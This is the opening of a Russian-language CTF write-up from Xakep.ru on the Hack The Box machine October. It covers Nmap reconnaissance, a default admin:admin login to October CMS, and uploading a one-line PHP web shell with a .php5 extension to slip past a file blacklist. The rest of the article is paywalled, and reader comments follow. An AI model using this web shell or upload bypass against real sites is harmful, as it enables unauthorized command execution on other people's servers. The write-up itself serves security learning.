Сегодня мы захватим виртуальную машину October с Hack The Box. Нас ждет исследование October CMS, получение веб-шелла, разведка на хосте (поиск уязвимого бинарника) и комбинация атак ret2libc + брутфорс ASLR для получения сессии суперпользователя.

 

В королевстве PWN

В этом цикле статей мы изучаем разные аспекты атак типа «переполнение стека». Читай также:

Машину для нового прохождения я выбрал не потому, что на дворе октябрь, а в основном за специфику испытаний, которая позволит продолжить тему низкоуровневой эксплуатации, начатую мной в прошлой статье. October — относительно несложная виртуальная машина (уровень Medium — 4,7 балла из 10), однако на ее примере удобнее всего разобрать, что представляет собой атака ret2libc, с помощью которой обходят запрет выполнения данных в стеке (DEP/NX-Bit), и как подбирается адрес той самой стандартной разделяемой библиотеки libc, чтобы обмануть механизм рандомизации размещения адресного пространства (ASLR).

На общий уровень сложности машины повлияло и то, что в админке CMS, которую предполагалось захватывать, «случайно» оставили дефолтную авторизацию. Поэтому быстро пробежим вступление и более подробно остановимся на этапе эскалации привилегий.

 

Разведка

 

Nmap

На этот раз я немного изменю свою стандартную тактику использования Nmap и попробую новый трюк.

root@kali:~# nmap -n -Pn --min-rate=1000 -T4 -p- 10.10.10.16 -vvv | tee ports
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-23 19:01 EDT
Initiating SYN Stealth Scan at 19:01
Scanning 10.10.10.16 [65535 ports]
Discovered open port 22/tcp on 10.10.10.16
Discovered open port 80/tcp on 10.10.10.16
SYN Stealth Scan Timing: About 25.97% done; ETC: 19:03 (0:01:28 remaining)
SYN Stealth Scan Timing: About 60.13% done; ETC: 19:03 (0:00:40 remaining)
Completed SYN Stealth Scan at 19:03, 90.44s elapsed (65535 total ports)
Nmap scan report for 10.10.10.16
Host is up, received user-set (0.081s latency).
Scanned at 2019-09-23 19:01:57 EDT for 90s
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 90.52 seconds
Raw packets sent: 131135 (5.770MB) | Rcvd: 69 (3.036KB)

Первым действием я на высокой скорости (опции --min-rate=1000, -T4) просканирую весь диапазон портов хоста October. Запросив максимально подробный фидбэк от Nmap (тройным -vvv), я перенаправлю вывод в файл ports с помощью команды tee, но в то же время смогу видеть промежуточные результаты и прогресс выполнения до завершения работы сканера.

root@kali:~# ports=$(cat ports | grep '^[0-9]' | awk -F "/" '{print $1}' | tr "\n" ',' | sed 's/,$//')
root@kali:~# echo $ports
22,80

После чего, вооружившись текстовыми процессорами командной строки Linux и мощью регулярных выражений, я вытащу все порты из результата сканирования, сформирую из них строку, в которой номера портов разделены запятой, и присвою ее значение переменной $ports. Если магия парсинга файла ports кажется неинтуитивной, попробуй по частям разобрать приведенный однострочник, с каждым разом прибавляя следующий конвейерный оператор и команду, идущую за ним.

root@kali:~# nmap -n -Pn -sV -sC --reason -oA nmap/october -p$ports 10.10.10.16
root@kali:~# cat nmap/october.nmap
# Nmap 7.80 scan initiated Mon Sep 23 19:04:21 2019 as: nmap -n -Pn -sV -sC --reason -oA nmap/october -p22,80 10.10.10.16
Nmap scan report for 10.10.10.16
Host is up, received user-set (0.080s latency).

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
| 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 23 19:04:31 2019 -- 1 IP address (1 host up) scanned in 10.19 seconds

Завершающим действием я вызову Nmap с переменной $ports, где хранится отсортированный список найденных портов, в качестве значения опции -p. Флаг --reason служит для того, чтобы сканер мог аргументированно «объяснить», на основании каких данных он сделал тот или иной вывод о статусе доступности каждого порта. Эти доводы можно наблюдать в появившейся колонке REASON.

Судя по баннеру, который «слил» демон SSH, и дате релиза машины на HTB, это Ubuntu 14.04. Другой очевидной информации нет, поэтому идем проверять, что творится на вебе.

 

Веб — порт 80

На http://10.10.10.16:80 тебя встретит сервер Apache с October CMS (тема — Vanilla).

Главная страница веб-сервера
Главная страница веб-сервера

Если поискать информацию о том, как попасть в панель админа, то на первой же странице мы найдем заботливый ответ на форуме самой CMS: просто добавь /backend в адресную строку.

Доступ к админке October CMS через /backend
Доступ к админке October CMS через /backend

Оказавшись в админке, я, недолго думая, попробовал стандартные admin:admin.

После авторизации в админке
После авторизации в админке

И вот я уже на пороге панели управления. Вопросив searchsploit об известных уязвимостях October CMS, я нашел способ загрузки веб-шелла. В основе способа — неполный черный список расширений потенциально уязвимых файлов, в котором отсутствовало упоминание о php5.

106: <?php
107: protected function blockedExtensions()
108: {
109:         return [
110:                 // redacted
111:                 'php',
112:                 'php3',
113:                 'php4',
114:                 'phtml',
115:                 // redacted
116:         ];
117: }

На такую возможность намекал и уже лежавший в библиотеке скрипт на PHP 5. Поэтому я нажал Upload и загрузил самый банальный бэкдор, который смог придумать.

root@kali:~# echo '<?php system($_REQUEST["cmd"]); ?>' > backdoor.php5

Загружен бэкдор с расширением .php5
Загружен бэкдор с расширением .php5

Теперь я могу инициировать выполнение команд от имени www-data, обратившись к загруженному файлу с аргументом cmd.

Триггерим удаленное выполнение команд
Триггерим удаленное выполнение команд

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


Check Also

Взломы камер Ring привлекли внимание СМИ. Хакеры троллили пользователей в подкасте NulledCast

Хакеры ломают умные камеры Ring и терроризируют их владельцев, транслируя происходящее в п…

4 комментария

  1. snovvcrash

    snovvcrash

    08.10.2019 at 18:42

    Пока ждем правку, непрогрузившийся бэкдор, выступивший в роли веб-шелла, выглядит примерно так:

    • snovvcrash

      snovvcrash

      08.10.2019 at 18:45

      Ага, значит, дело не в escape-символах, с которыми не справился хайлайтер синтаксиса, а в WAF-е, который не дает грузить PHP-код в тело страницы.

  2. Аватар

    Laglag

    09.10.2019 at 00:45

    Мозг! Спасибо. Очень долго пытался найти. Неожиданно, мега крут.

  3. Аватар

    slinkin

    10.10.2019 at 02:52

    Отличный материал!
    Предельно расписан, спасибо!

Оставить мнение